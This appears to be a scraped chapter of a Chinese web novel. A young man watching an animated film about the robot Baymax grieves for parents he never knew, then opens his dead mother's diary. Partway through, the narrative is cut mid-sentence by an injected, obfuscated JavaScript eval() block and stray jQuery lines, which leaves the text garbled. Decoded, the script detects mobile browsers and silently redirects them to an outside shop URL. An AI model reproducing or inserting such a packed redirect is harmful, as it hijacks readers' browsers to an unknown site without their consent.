云洲和关山越都无所谓看什么电影：“没看过，就这个吧。”
他们没对电影抱有太大希望，打发时间就行。用向惊飞的话来说，动画片不一定有多好看，但一定不至于太烂。
拉上客厅窗帘，按下开始键，电影就开始了。
巧的是这部电影里也有个大白，是个机器人。它并不是冷硬的传统机器人，外形更像是一个软绵绵的气球人。
这样的白胖子，客厅里也有一个。
目光一闪，关山越的视线从电视屏幕上移开，若有所思地注视着手边正呼呼大睡的大白。
表面上，这些天，关山越是在给两个人上课。实际上，大白也没能逃过这场精神屠戮。
仿佛经历了一场巴甫洛夫的实验，它如今一听见英文就能条件反射，趴下睡觉。
严格说来，萨摩耶还是工作犬。
可惜，现在的萨摩耶已经没有爱岗敬业的高品质了。
耶耶不知道，耶耶睡大觉。
关山越失笑，点了点它胖嘟嘟的下巴，找了块小毯子盖在它微微起伏的圆肚上。
故事继续发展下去。
电影里的小男孩没了哥哥，身心受创，闭门不出，哥哥留下的治疗机器人大白成了他唯一能停泊的心灵港湾。
像它的身躯一样，呆头呆脑的机器人温柔、包容，仿佛这世上一切的尖锐都能被它的肚子消解。
它执拗坚定，会傻傻地、无条件地相信小男孩的鬼话，它会为了小男孩的无心之言义无反顾，它会永远为小男孩挡住漫天的炮火与近在咫尺的死亡。
它会永远在小男孩身边。
那一颗碳纤维的机械心，永远纯粹且干净。
这是一部为了赚钱拍的商业片，剧情不复杂，也没用上什么特别的技术，故事内核依旧是美国最爱的那套英雄主义。
谁让人类本就是世俗且非理性的。
总有人相信，爱与永远。
毋庸置疑，这就是个普通俗套的故事。可关山越在故事里看见了曾经的自己。
故事里的小男孩在哥哥死去后，他把无尽的孤独化为一腔悲意燃成怒火，漫天飞扬。
关山越当然也这样愤怒过。
他恨过命运，骂过孤独，也中二地想过变强大后回去复仇，但这些怒火最后还是纷纷扬扬地落下，冷却成安静的灰烬。
而足足看过96次《超能陆战队》的关望又在其中看见了谁的影子？
在关望写的日记里，他们捡到大白是在三年前，电影也在三年前上映。
大白的名字是巧合吗？
关山越不受控制地发散性思维，去揣测关望和谈思绮的想法。
或许关望和谈思绮希望自己的孩子，即使没有亲人照顾，也能拥有一个像大白一样的朋友。
或许希望他所有的愤怒、暴戾，所有的悲哀、伤痛，都能被柔软地接住。
哪怕这是一个不会说话的非人类朋友。
以上都是他自己的猜测，都是自己的借口。这一个多月来，各式各样的人有意无意地都在和他提他的父母，他只是想找一把钥匙，打开一个没上锁的门。
说到底，他就是在猜自己是不是被父母深深爱着，他们是不是后悔过去找他，他们是不是后悔生下他。
因为他们连一天的相处都没有过，真的会有爱吗？还是说只是因为血缘呢？
他们会喜欢这样孤僻冷漠的自己吗？
他没法不在意，他没法不揣测。
人最艰难的，就是发现自己曾与幸福擦肩而过。尽管竭力控制那股贪婪，仍然会幻想、会窥探本能拥有的爱。
哪怕知道这会是无解的、抱憾终身的事。
葬礼上迟到了一个多月的悲哀感，终于席卷而来。
关望的死，对他来说，更像是一把涂满了麻药的慢刀子，一刀刀地剜着心头肉。
明明早就千疮百孔，早就鲜血淋漓，却迟迟感受不到疼。
他假装洒脱镇定，假装混不在乎，不愿去探寻这个家的过去。
好像不做任何假设，好像不知道自己是怎样被爱着，好像不知道自己曾经有个什么样的家，就会不痛了。
这阵闷闷的疼一下下捶着心口，捶得人思维停滞，只有一片茫然的白，干涩又哑然。
在戛然而止的片尾音乐声中，走到了末尾的进度条自动拨到片头，回到了小男孩的哥哥还活着的开始。
幽暗的客厅，又有了瑰丽的色彩。
向惊飞看见关山越依旧死死地盯着电视屏幕，戳了戳他的手臂：“老关，你怎么了？”
失神的眼逐渐有了亮度，过了会，关山越哑着嗓子低声说：“没事。”
晚上等云洲和向惊飞离开后，关山越去了书房。
书房还是整洁干净的模样，关望离开时是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13722116|141362||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
各种模样，如今亦然。
目光逡巡，最后落在了书桌上那本用防尘袋裹住的笔记本，它就静静地躺在桌上，肉眼可见，触手可及。
皮质的封面上，是大气磅礴的四个大字“安安日记”，用金色的粉末描了边。
笔记本是定制的，也很厚，它的主人当初买回来时，就打算写很长很长的内容，替孩子记录下他没记忆的日子。
它太显眼，关山越第一次进书房时就看见了。
或许是关望常常翻看，或许关望本以为能带关山越回家，他很想让儿子看看母亲的痕迹。
当初只那一眼，就足以使关山越心神俱变。
他想从母亲的笔下找到自己，找到自己的出生起点，找到自己的根。
这世界很大，从婆娑星河起，蜿蜒千里。人的世界也是，从母亲的怀里开始，才有了颜色。
但当时关山越移开了眼。
谈思绮跳楼死了，大家都说她是因为抑郁，为什么抑郁？因为他。
“你妈妈她不容易，她是真的很爱你，你丢了之后，她精神就出了问题，一直觉得你没丢，你一直在，天天抱着一个布娃娃说这就是你。”
“直到你外婆去世，她才清醒过来，认识到你丢了，受不了妈妈和儿子都没了的打击，还有几个长舌的，说她为了儿子沉浸在痛苦里，忽视你外婆，你爸和他们大吵一架。医生说你妈待在从小长大的地方，对病情不利，你爸就搬走了。”
“三年前或许是实在受不了，你妈没能想得开，跳了下去。你爸估计不想对景伤情，也不想被邻居可怜，他又搬了回来。”
葬礼上好些个远房亲戚和同事都是这样说的，又嘱咐他要感恩，不能忘记爸妈，逢年过节的仪式也不能少。
他们的语气很重，生怕这对夫妻的爱被人辜负，生怕关山越是头白眼狼，于是迫不及待带着他改了名字，改了户口，提醒他人不能忘祖。
他们眼里都是藏不住的怨色与怜色。怨好好一个家庭为了一个没养过的孩子就散了，又忍不住可怜这个命运多舛的孩子。
当时关山越在想什么呢？他笑这命运太荒唐，在自己最不需要亲情时，在自己能独立时，上天说：“玩你的，其实你爸妈很爱你哦！”
关山越颤着手拆开防尘袋，皮质的封面触感很温暖，像是母亲指腹的温度。
翻开第一页时，陈旧的岁月扑面而来。